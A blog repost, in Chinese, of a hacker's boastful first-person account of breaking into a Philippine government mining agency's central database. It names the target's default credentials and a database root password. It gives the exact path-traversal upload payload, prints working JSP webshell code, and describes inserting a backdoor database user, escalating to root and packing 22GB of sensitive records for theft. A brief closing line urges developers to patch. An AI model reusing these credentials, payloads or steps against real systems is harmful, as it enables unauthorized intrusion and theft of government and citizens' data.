黑客自述:一小时拿下菲律宾矿业和地球科学局 MGB 中央数据库:从 Spring Boot 老古董到 Root 全过程记录

黑客Pieyaya说:“今天想聊聊我最近干的一票。目标是菲律宾 Mines and Geosciences Bureau(MGB),也就是他们的矿山与地球科学局,隶属于 DENR。整个过程从侦察到拿到 root,只花了大概一个小时。不是因为我多牛,而是他们的系统实在太“配合”了。

图片[1]李白你好-实战攻防黑客自述:一小时拿下菲律宾矿业和地球科学局 MGB 中央数据库:从 Spring Boot 老古董到 Root 全过程记录李白你好-实战攻防李白你好

侦察:Cloudflare 漏了一个

先对 xxx.gov.ph 做子域名枚举,从证书透明度日志里拉出来 46 个子域名。大部分都是死鱼——region1 到 region12 的 Azure App Services 返回 403,几个 AWS 实例超时,主站 xxx.gov.ph 藏在 Cloudflare JS 挑战后面。

但有一个子域名直接裸奔:xxxdatabase.mgb.gov.ph(解析到 xx.xx.141.100,GCP 上)。
打开一看:Apache 2.4.7 + Tomcat 7.0.52 + Spring Boot 1.x + MySQL 5.5.62。
系统信息更离谱:Ubuntu 14.04(2019 年就 EOL 了),内核 3.19.0-80-generic,2017 年 1 月编译的,从 2018 年起就没人碰过。

最妙的是,主站有 Cloudflare 保护,这个 centraldatabase 却完全裸露。我直接就冲进去了。

默认凭证:开发者留的后门

应用跑在 /mgb 上下文下面。
我先试了最蠢的 guest:guest,居然 200 了!返回的 JSON 里写着 "admin": false,但好歹是个合法用户。

然后我去翻源代码,发现到处都是 @Author Franklin Chua。心想这哥们儿大概率给自己留了后门,就试了 fchua:fchua
一发入魂!

JSON 返回:

{"principal":{"id":2,"username":"fchua","name":"Franklin Chua","admin":true,"active":true}}

同一个开发者写了代码、部署了系统、还把自己的默认账号留在生产环境里。这波操作值得给个 raise!

图片[2]李白你好-实战攻防黑客自述:一小时拿下菲律宾矿业和地球科学局 MGB 中央数据库:从 Spring Boot 老古董到 Root 全过程记录李白你好-实战攻防李白你好

Spring Data REST:零授权的狂欢

拿到 fchua 账号后,Spring Data REST 直接把所有实体暴露出来,几乎没有额外授权。

随便测了几条:

  • GET /mgb/api/users → 80+ 个用户,包含全名、部门、邮箱、admin 标志
  • GET /mgb/api/roles/search/findAll → 角色权限映射
  • GET /mgb/api/attachments → 3500+ 条附件记录,每条都有 downloadKey

我随便挑了一条 2026 年 7 月 6 日 Aaron Arcilla 上传的 CAR_MAP_JUN_2026.pdf(10MB),用 downloadKey 直接 GET 下来了。里面全是采矿申请、地图、财务计划之类的纳税人级敏感文件。

读权限到手,爽。

路径遍历 + 文件上传 = RCE

接下来看导入功能:POST /mgb/api/import/template/{module},用于管理员批量导入用户、矿山租约等。

这个端点把 file.getOriginalFilename() 直接拼接到 /mnt/data/import/ 路径下,没有任何 normalize、路径净化、检查

我先用 ../../../../../var/www/html/shell.jsp 测试,权限不够(Tomcat 用户写不了那个目录)。
于是换成 Tomcat 自己的 webapps 目录:../../../../../var/lib/tomcat7/webapps/mgb/givemeashell.jsp

成功上传!

WebShell 内容很简单,就是个执行命令的 JSP:

<%@ page import="java.io.*" %>
<%
    Process p = Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", request.getParameter("c")});
    // 读取输出...
%>

用 curl 访问确认,成功执行 idhostname,拿到 Tomcat 用户权限(uid=108)。

Post-Exploitation:数据库与 Root

图片[3]李白你好-实战攻防黑客自述:一小时拿下菲律宾矿业和地球科学局 MGB 中央数据库:从 Spring Boot 老古董到 Root 全过程记录李白你好-实战攻防李白你好

几分钟后,我把 application.properties 从磁盘拉下来,MySQL root 密码赫然写着 Password1234
这个密码还在 Franklin Chua 的 bash 历史里重复出现。MySQL 3306 端口也对外开放,直接连上。

图片[4]李白你好-实战攻防黑客自述:一小时拿下菲律宾矿业和地球科学局 MGB 中央数据库:从 Spring Boot 老古董到 Root 全过程记录李白你好-实战攻防李白你好

数据库做了主从复制(mgb-central → mgb-portal)。我用 binlog 把自己的 pieyaya 用户插进 master,slave 自动同步。

同样的路径遍历在从库也管用,我又扔了个 shell 上去,成功拿到 root(老内核,提权简单)。

最后打包 /mnt 下的数据:

root@mgb-central:/mnt# ls
data  mgb.tar.gz
root@mgb-central:/mnt# du -h mgb.tar.gz
22G     mgb.tar.gz

总结

整个过程就是:

  1. 默认凭证(fchua:fchua)
  2. Spring Data REST 无授权
  3. 文件上传路径遍历
  4. 老旧系统 + 弱密码 + 暴露服务

没有发一个恶意 payload,没有用什么 0day,就靠最基础的配置错误和开发者坏习惯,拿下了整个政府生产数据库和文件库。

开发者们,更新一下系统、删掉默认账号、给文件上传加个 normalize() 吧。
下次别再让一个 10 年前的 Spring Boot 应用在生产环境裸奔了。

—— Pieyaya / DeathNoteHackers

© 版权声明
THE END
喜欢就支持一下吧
点赞13 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片

    暂无评论内容